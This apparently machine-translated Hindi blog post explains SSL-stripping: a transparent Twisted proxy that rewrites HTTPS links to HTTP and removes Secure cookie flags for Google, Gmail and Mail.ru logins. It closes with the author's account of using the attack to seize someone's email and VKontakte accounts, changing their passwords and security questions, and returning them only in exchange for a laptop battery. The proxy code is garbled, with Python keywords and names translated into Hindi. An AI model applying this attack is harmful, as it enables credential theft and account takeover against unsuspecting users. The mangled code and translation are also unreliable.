सैंडबॉक्स वार्स - भाग 2: HTTPS बायपास

पहले, अध्ययन के तहत विषय के सभी यातायात को रोकना संभव था। हालाँकि, tcpdump लॉग का सामान्य विश्लेषण महत्वपूर्ण परिणाम नहीं देता है, क्योंकि अधिकांश सेवाएँ पासवर्ड सहित महत्वपूर्ण डेटा को स्थानांतरित करने के लिए SSL एन्क्रिप्शन का उपयोग करती हैं।

सुरक्षित सॉकेट लेयर

SSL का उपयोग एक दशक से अधिक समय से किया जा रहा है, और वेब पर इसके बारे में बहुत सारी जानकारी है।



इसलिए मैं सिर्फ एसएसएल के मूल गुणों को उजागर करता हूं, और जो लोग अपने कार्यान्वयन के विवरण को अपने दम पर सीख सकते हैं:

• प्रमाणीकरण - सर्वर को हमेशा प्रमाणित किया जाता है, जबकि क्लाइंट को एल्गोरिथ्म के आधार पर प्रमाणित किया जाता है।
• वफ़ादारी - मैसेजिंग में अखंडता की जाँच शामिल है।
• चैनल विशेष - कनेक्शन स्थापित होने के बाद एन्क्रिप्शन का उपयोग किया जाता है और बाद के सभी संदेशों के लिए उपयोग किया जाता है।

SSL पर प्रेषित डेटा को इंटरसेप्ट करने के लिए कुछ विकल्प हैं:

निष्क्रिय निगरानी

उपयुक्त नहीं है, क्योंकि प्रेषित डेटा एक अस्थायी कुंजी के साथ एन्क्रिप्ट किया गया है। यह कुंजी क्लाइंट और सर्वर दोनों के लिए जानी जाती है, लेकिन इसकी गणना केवल साइड से ट्रैफ़िक को देखकर नहीं की जा सकती।

निष्क्रिय निगरानी से सुरक्षा को कैसे लागू किया जा सकता है , इसका एक उदाहरण डिफी-हेलमैन एल्गोरिथम है ।

बीच में आदमी

यदि हम एक सुरक्षित कनेक्शन में नहीं जा सकते हैं, तो दो अलग-अलग कनेक्शन क्यों नहीं स्थापित करें: एक क्लाइंट और हमलावर के बीच (जो इस मामले में एक सर्वर होने का नाटक कर रहा है), और दूसरा हमलावर और सर्वर के बीच?



डिफि-हेलमैन एल्गोरिथम इससे सुरक्षित नहीं है। लेकिन SSL, DX के विपरीत, सर्वर प्रमाणीकरण की आवश्यकता होती है, और इसलिए यह दृष्टिकोण भी विफलता के लिए बर्बाद है। कनेक्शन स्थापित करते समय, क्लाइंट को सर्वर से प्रमाणीकरण की उम्मीद होती है (एसएसएल का उपयोग करते समय इसकी आवश्यकता होती है)। लेकिन एक सर्वर के बजाय, यह एक हमलावर से जुड़ा होगा, जिसके पास साइट के नाम के अनुरूप डिजिटल प्रमाणपत्र नहीं है।



प्रमाण पत्र की कमी की समस्या को हल करने के दो तरीके हैं:

• अपने आप को आवश्यक प्रमाण पत्र बनाएं, और स्वयं हस्ताक्षर करें। ऐसे प्रमाणपत्रों को "स्व-हस्ताक्षरित" कहा जाता है। हालांकि, एक डिजिटल प्रमाणपत्र प्रणाली को प्रमाण पत्र की वैधता को सत्यापित करने की क्षमता की आवश्यकता होती है। ऐसा करने के लिए, "प्रमाणीकरण प्राधिकारी" (CA) का उपयोग किया जाता है, जो साइट प्रमाण पत्र (और न केवल) पर हस्ताक्षर कर सकते हैं, साथ ही अन्य प्रमाणीकरण प्राधिकारी के प्रमाण पत्र पर भी हस्ताक्षर कर सकते हैं। रूट सीए प्रमाणपत्र - उनमें से कुछ - डेवलपर्स द्वारा ब्राउज़र में दर्ज किए गए हैं। और ब्राउज़र प्रमाण पत्र को केवल तभी प्रमाणिक मानता है, जब वह प्रमाणपत्र श्रृंखला के अंत में हो, जिसमें से कोई एक CA से शुरू हो, जहां प्रत्येक बाद के प्रमाणपत्र को श्रृंखला में पिछले एक द्वारा हस्ताक्षरित किया गया हो ।
• किसी साइट के लिए प्रमाणीकरण प्राधिकारी से एक प्रमाण पत्र प्राप्त करें और एक हमले के लिए इसका उपयोग करें। यह उपयुक्त नहीं है, क्योंकि साइट के प्रत्येक प्रमाणपत्र में वह डोमेन होता है जिसके लिए उसे जारी किया गया था। प्रमाणपत्र में निर्दिष्ट डोमेन के साथ पता बार में एक डोमेन बेमेल के मामले में, ब्राउज़र अलार्म बजाना शुरू कर देगा।

दोनों मामलों में, ब्राउज़र पीड़ित को कुछ भयावह तस्वीर दिखाएगा, उदाहरण के लिए:

उपयोगकर्ता इंटरफ़ेस

ब्राउज़र डेवलपर्स छड़ी और गाजर तकनीक का उपयोग करते हैं ताकि उपयोगकर्ता अपनी सुरक्षा का ध्यान रख सकें। ऊपर दिखाई गई चमकदार लाल तस्वीर, साथ ही अतिरिक्त "कंटिन्यू एनी" बटन पर क्लिक करने की आवश्यकता है, एक व्हिप है जो उपयोगकर्ताओं को उन साइटों से बचने के लिए प्रोत्साहित करता है जिनके पास एसएसएल उल्लंघन है।



जिंजरब्रेड क्या है? SSL का सही उपयोग करने वाली साइटों पर जाने के लिए एकमात्र "प्रोत्साहन" हरे रंग का है या पता बार में "लॉक" चित्र है।



साइटें जो प्रमाणपत्रों के एक अलग वर्ग के साथ SSL का सही उपयोग करती हैं:





गैर-एसएसएल साइटें:





सही प्रमाण पत्र वाली साइटें, लेकिन SSL का उपयोग करने में बदलती गंभीरता का उल्लंघन:





दुर्भाग्य से, उत्तरार्द्ध बड़ी साइटों पर भी पाया जाता है, एक बार फिर पता पट्टी में इस आइकन पर उपयोगकर्ताओं का ध्यान कम करना।



तस्वीरों से हम देखते हैं कि कोड़ा अधिक बार उपयोग किया जाता है और खुद गाजर से अधिक ध्यान देने योग्य है।

निष्कर्ष

• यदि किसी उपयोगकर्ता को ब्राउज़र से एक अवैध प्रमाणपत्र के बारे में एक संदेश प्राप्त होता है, तो वह इस बारे में सोचने की काफी संभावना है कि क्या उसे इस (संभवतः फ़िशिंग) साइट पर जाने की आवश्यकता है।
• यदि उपयोगकर्ता को ब्राउज़र से सुरक्षा की पुष्टि नहीं मिलती है, तो एसएसएल त्रुटियों के बारे में भयानक चेतावनियों की तुलना में, जो वह अक्सर रास्ते में सामना करता है, वह कुछ कम संभावना वाले ग्रीन लॉक की अनुपस्थिति की सूचना देगा।

उपयोगकर्ता एसएसएल का उपयोग कैसे करता है?

कोई भी एड्रेस बार में प्रिंट नहीं करता है https: // (और साथ ही चित्र: //)।



उपयोगकर्ता स्वयं अपनी सुरक्षा के लिए कुछ नहीं करते हैं, लेकिन उनके लिए ऐसा करने के लिए साइट पर भरोसा करते हैं। साइट उपयोगकर्ताओं को चार तरीकों से SSL पर पुनर्निर्देशित करती है:

• हाइपरलिंक
• 3xx पुनर्निर्देशित (स्थान: ...)
• फॉर्म जमा करें
• जावास्क्रिप्ट

इसका मतलब है कि ब्राउज़र केवल http के माध्यम से https प्राप्त कर सकते हैं।



शायद http पर हमला करना काफी है?

• सभी HTTP ट्रैफ़िक की निगरानी करें
• उपयोगकर्ता को https पर पुनर्निर्देशित करने के लिए किसी भी सर्वर के प्रयास को रोकें, लिंक को बदलें, रीडायरेक्ट में स्थान हेडर आदि।
• जब कोई क्लाइंट http अनुरोध करता है, तो इस अनुरोध को सर्वर से http या https के माध्यम से प्रॉक्सी करता है, जो इस बात पर निर्भर करता है कि उसे शुरू में क्या करना चाहिए

सर्वर को कुछ भी संदिग्ध नहीं दिखता है, इसके लिए कनेक्शन https के माध्यम से जाता है (हालांकि, यदि सर्वर को क्लाइंट प्रमाणीकरण की आवश्यकता होती है, तो कुछ भी नहीं निकलता है)।



क्लाइंट देखता है कि कनेक्शन http के माध्यम से है, लेकिन कोई एसएसएल त्रुटियां नहीं हैं, और, जैसा कि हमने ऊपर पाया, यदि ब्राउज़र शिकायत नहीं करता है, तो उपयोगकर्ता सबसे अधिक संभावना एन्क्रिप्शन की कमी को नोटिस नहीं करेगा।

व्यापार करने के लिए

पायथन, ट्विस्टेड और मानक http प्रॉक्सी का उदाहरण लें:

मुड़ से। वेब आयात प्रॉक्सी, http

मुड़ से। इंटरनेट आयात रिएक्टर

मुड़ से। अजगर आयात लॉग

आयात sys

लॉग इन करें। StartLogging ( sys । स्टडआउट )



वर्ग ProxyFactory ( http। HTTPFactory ) :

प्रोटोकॉल = प्रॉक्सी। प्रतिनिधि



रिएक्टर। ListenTCP ( 8080 , ProxyFactory ( ) )

रिएक्टर। चलाएं ( )

हालाँकि, डिफ़ॉल्ट कार्यान्वयन पारदर्शी मोड में काम करना नहीं जानता है, इसलिए मुझे कोड को थोड़ा जटिल करना पड़ा (मैं कोड के मध्यवर्ती संस्करण नहीं देता, मुझे बहुत अधिक पाठ मिलता है)।



हम सभी पीड़ितों के ट्रैफ़िक के साथ प्रॉक्सी को लपेटते हैं जो पोर्ट 80 से गुज़रे।



अब आपको प्रॉक्सी में उपयोगी कार्यक्षमता जोड़ने की आवश्यकता है। सादगी के लिए, हम https से http की सभी घटनाओं को डेटा कोड में सर्वर से क्लाइंट, पेज कोड के किसी भी विश्लेषण के बिना प्रतिस्थापित करेंगे, और यह केवल * .google.com, gmail.com डोमेन के लिए करें।



सर्वर को खुले चैनल के माध्यम से इसे जोड़ने वाले ग्राहक के बारे में चिंता न करने के लिए, प्रॉक्सी द्वारा एन्क्रिप्टेड.google.com, gmail.com, google.com/accounts/ (और अन्य सेवाओं जहां https की आवश्यकता होती है) के साथ सभी परदे के पीछे होंगे। एसएसएल पर।



पीड़ित का ईमेल लॉगिन पृष्ठ अब ऐसा दिखता है:





यह देखा जा सकता है कि एन्क्रिप्शन अब काम नहीं कर रहा है, लेकिन ब्राउज़र कोई त्रुटि या चेतावनी नहीं देता है।



सिद्धांत रूप में, यह पहले से ही एक पासवर्ड प्राप्त करने के लिए पर्याप्त होगा, लेकिन आप ऐसे "प्रॉक्सी" के माध्यम से लॉग इन करने और पूरी तरह से काम करने में सक्षम नहीं होंगे।



तथ्य यह है कि कुछ कूकीज पर सर्वर सुरक्षित बिट सेट कर सकता है, जो अनुशंसा करता है कि ब्राउज़र केवल उन्हें एक सुरक्षित चैनल पर भेजता है। इस स्थिति में, ब्राउज़र सामान्य http प्रॉक्सी से जुड़ा होता है, इसलिए, यह सर्वर के लिए सिक्योर बिट के साथ कुकीज़ नहीं भेजता है, और यह संदेश दिखाया जाएगा "आपके ब्राउज़र की कुकीज़ कार्यक्षमता बंद है। कृपया इसे चालू करें। ” लेकिन इस समस्या को सेट-कुकी सर्वर से "सिक्योर" पैरामीटर को हटाकर हल किया जा सकता है। हालांकि जावास्क्रिप्ट के माध्यम से कुकीज़ सेट करने की क्षमता वैसे भी चीजों को जटिल करेगी।



अंतिम प्रॉक्सी कोड कुछ इस तरह दिखता है:

# - * - कोडिंग: utf8 - * -



मुड़ से। वेब आयात प्रॉक्सी, http

मुड़ से। इंटरनेट आयात रिएक्टर, एसएसएल

मुड़ से। अजगर आयात लॉग

आयात urlparse

आयात sys

लॉग इन करें। StartLogging ( sys । स्टडआउट )



स्ट्राइपड्रेस = फ्रोज़ेन्सेट ( [ 'google.com' , 'google.ru' , 'gmail.com' ) ]

ForceSSLAddresses = Frozenset ( [ 'एन्क्रिप्ट किया गया' ' , ' gmail.com/ ' , \

'google.com/accounts' , 'mail.google.com/' ,

'ssl.google-analytics.com/' ] )



कक्षा ईविलप्रोक्सीक्लाइंट ( प्रॉक्सी। प्रॉक्सी क्लाइंट ) :



def __init__ ( स्व , कमान, आराम, संस्करण, शीर्षलेख, डेटा, पिता ) :

# सामग्री विश्लेषण को आसान बनाने के लिए किसी भी कोडिंग को रोकें

हेडर [ "स्वीकार-एन्कोडिंग" ] = "पहचान"

प्रॉक्सी। प्रॉक्सी । __in__ ( स्व , कमान, आराम, संस्करण, शीर्ष लेख, डेटा, पिता )



डीहेल्डर ( स्वयं , कुंजी, मूल्य )

अगर कुंजी। कम ( ) ! = 'सामग्री-लंबाई' :

प्रॉक्सी। प्रॉक्सी । संभाल ( स्वयं , कुंजी, मान। प्रतिस्थापित करें ( 'https' , 'http' ) । प्रतिस्थापित करें ( 'ecure' , 'ecre' ) )



डीआरआर हैंडसेंटपार्ट ( सेल्फ , बफर ) :

प्रॉक्सी। प्रॉक्सी । handleResponsePart ( स्वयं , बफ़र। प्रतिस्थापित करें ( 'https' , 'http' ) । प्रतिस्थापित करें ( 'ecure' , 'ecre' ) )



कक्षा ईविलप्रॉक्सीकिएंटफैक्टिक ( प्रॉक्सी। प्रॉक्सी प्रॉक्सी क्लाक्टिफिकेशन ) :

प्रोटोकॉल = EvilProxyClient



वर्ग ट्रांसपेरेंट प्रॉक्सिरेस्ट ( http। अनुरोध ) :



def __init__ ( स्व , चैनल, पंक्तिबद्ध, रिएक्टर = रिएक्टर ) :

http। निवेदन । __in__ ( स्व , चैनल, पंक्तिबद्ध )

स्व । रिएक्टर = रिएक्टर



डीईएफ प्रक्रिया ( स्व ) :

पार्सड = urlparse । urlparse ( स्व । uri )

शीर्षासन = स्व । getAllHeaders ( ) । कॉपी ( )

"हेडर: \ n % s" % हेडर प्रिंट करें

होस्ट = पार्स किया गया [ 1 ] या हेडर [ "होस्ट" ]

rest = urlparse । urlunparse ( ( '' ' , ' ' ) + पार्स [ 2 : ] ) या ' / '

स्व । सामग्री । तलाश ( 0 , 0 )

s = स्व । सामग्री । पढ़ें ( )

"कंटेंट: \ n % s" % s प्रिंट करें

needStrip = filter ( ( होस्ट + रेस्ट ) । count , stripAddresses )

clientClass = EvilProxyClientFactory अगर जरूरत है तो प्रॉक्सी को और अधिक । ProxyClientFactory

clientFactory = clientClass ( स्व- विधि , बाकी, स्व ।

एस, स्व )

needSSL = फ़िल्टर ( ( होस्ट + बाकी ) । गिनती , forceSSLAddresses )

अगर जरूरत है:

स्व । रिएक्टर । कनेक्टएसएसएल ( होस्ट, 443 , क्लाइंटफैक्ट्री, एसएसएल। क्लाइंटकोटेक्स्टफैक्ट्री ( ) )

और :

स्व । रिएक्टर । कनेक्टटिप ( मेजबान, 80 , ग्राहक-सेवा )



क्लास ट्रांसपेरेंटप्रॉक्सी ( प्रॉक्सी। प्रॉक्सी ) :

requestFactory = पारदर्शीपारदर्शी



क्लास ट्रांसपेरेंटप्रॉक्सी फैक्ट्री ( http। HTTPFactory ) :

प्रोटोकॉल = ट्रांसपेरेंटप्रॉक्सी



रिएक्टर। ListenTCP ( 8080 , ट्रांसपेरेंटप्रॉक्सी फैक्ट्री ( ) )

रिएक्टर। चलाएं ( )

और उसके काम के फल:





आमतौर पर, सिद्धांत रूप में, ऐसा लगता है कि सब कुछ संभव है, लेकिन व्यवहार में कठिनाइयां हैं।



यह स्पष्ट है कि सर्वर से डेटा स्ट्रीम में "https" लाइन की सभी घटनाओं के लिए एक तुच्छ खोज और उन्हें "http" के साथ प्रतिस्थापित करने से कोई अच्छा परिणाम नहीं मिलेगा, हमें पृष्ठ कोड ("लिंक" और "फ़ॉर्म" टैग को उजागर करने और उनमें से संबंधित लोगों को बदलने की आवश्यकता है) विशेषताएँ - यह मूल रूप से आसान है)।



लेकिन सुरक्षित बिट के साथ रीडायरेक्ट और कुकीज़ के पते को जावास्क्रिप्ट में गतिशील रूप से उत्पन्न किया जा सकता है। लेकिन यह कार्य - मक्खी पर, सर्वर से आने वाले जेएस को संशोधित करें ताकि सिस्टम का व्यवहार (http / https प्रोटोकॉल के विकल्प तक) में बदलाव न हो - मुझे यह भी सुनिश्चित नहीं है कि सामान्य मामले में क्या हल हो सकता है।



तीसरा कार्य - जब किसी ग्राहक से अनुरोध प्राप्त किया जाता है, तो यह गणना करना आवश्यक है कि यह अनुरोध किस प्रोटोकॉल से होगा यदि हमने हस्तक्षेप नहीं किया, और इसे इस प्रोटोकॉल का उपयोग करके सर्वर को भेजें ताकि यह किसी भी विचलन को नोटिस न कर सके।



कोड जो आपने ऊपर देखा था, वास्तव में इन समस्याओं में से प्रत्येक को बहुत ही क्रूड तरीके से हल करता है, केवल एक साइट के लिए, और यह पूरी तरह से सही नहीं है। इस प्रॉक्सी के माध्यम से, Google मेल प्राधिकरण पृष्ठ पर जाता है, लेकिन प्राधिकरण के बाद, और विशेष रूप से मेल इंटरफ़ेस में प्रवेश करने की कोशिश करते समय, कुछ उन्मत्त रीडायरेक्ट शुरू होते हैं और कुछ भी करने में विफल हो सकते हैं। हालांकि, बहाना यह है कि कोड को विशुद्ध रूप से उदाहरण के लिए रखा गया है। इसके अलावा, सफलतापूर्वक लॉगिन और पासवर्ड दर्ज करने के बाद, आप क्लाइंट को सर्वर से सीधे कनेक्शन पर रीडायरेक्ट कर सकते हैं और प्रॉक्सी को अक्षम कर सकते हैं।



Mail.ru के लिए, स्थिति अधिक अनुकूल है: SSL कनेक्शन का उपयोग केवल सीधे क्रेडेंशियल के हस्तांतरण के समय किया जाता है। यही है, यह केवल लॉगिन फॉर्म के लिए कार्रवाई को संशोधित करने के लिए पर्याप्त है, और साथ ही, उपयोगकर्ता के पास पकड़ने का नोटिस करने का कोई मौका नहीं है, क्योंकि लॉगिन फॉर्म साइट के मुख्य पृष्ठ पर है, जिसे https के माध्यम से एक्सेस नहीं किया जा सकता है। संशोधन केवल पृष्ठ के स्रोत कोड को देखकर देखा जा सकता है।



यह सब तकनीकी भाग के साथ है। मुख्य सामग्री का उपयोग किया: नई प्रवृत्तियाँ एसएसटी को हराने के लिए अभ्यास में

निष्कर्ष

• बुकमार्क में जहां संभव हो तुरंत https-पते का उपयोग करें, एक रीडायरेक्ट पर भरोसा न करें
• पासवर्ड दर्ज करते समय, सुनिश्चित करें कि जिस पृष्ठ पर आप इसे दर्ज करते हैं वह एसएसएल संरक्षित है
• डेवलपर्स के लिए: लोगों को एसएसएल का सही उपयोग करने दें। Http के माध्यम से फॉर्म लोड न करें, लेकिन https के माध्यम से सबमिट करें। स्व-हस्ताक्षरित प्रमाण पत्र का उपयोग न करें। पृष्ठ पर संरक्षित और असुरक्षित सामग्री न मिलाएं।

कहानी का समापन

और कहानी, पहले भाग में शुरू हुई, कानूनी रूप से समाप्त हो गई - मेलबॉक्स एन से पासवर्ड प्राप्त किया गया और बदल दिया गया, साथ ही साथ सुरक्षा प्रश्न भी। वही काम Mail.ru पर दूसरे मेलबॉक्स और VKontakte खाते के साथ किया गया था।



मैंने एक दिन में सभी पासवर्ड वापस करने की योजना बनाई, लेकिन अगली सुबह मुझे पता चला कि लैपटॉप में कोई बैटरी नहीं थी। समझने का समय नहीं था, ट्रेन मेरा इंतजार कर रही थी, इसलिए मैंने अपनी बैटरी के बदले पासवर्ड दिए।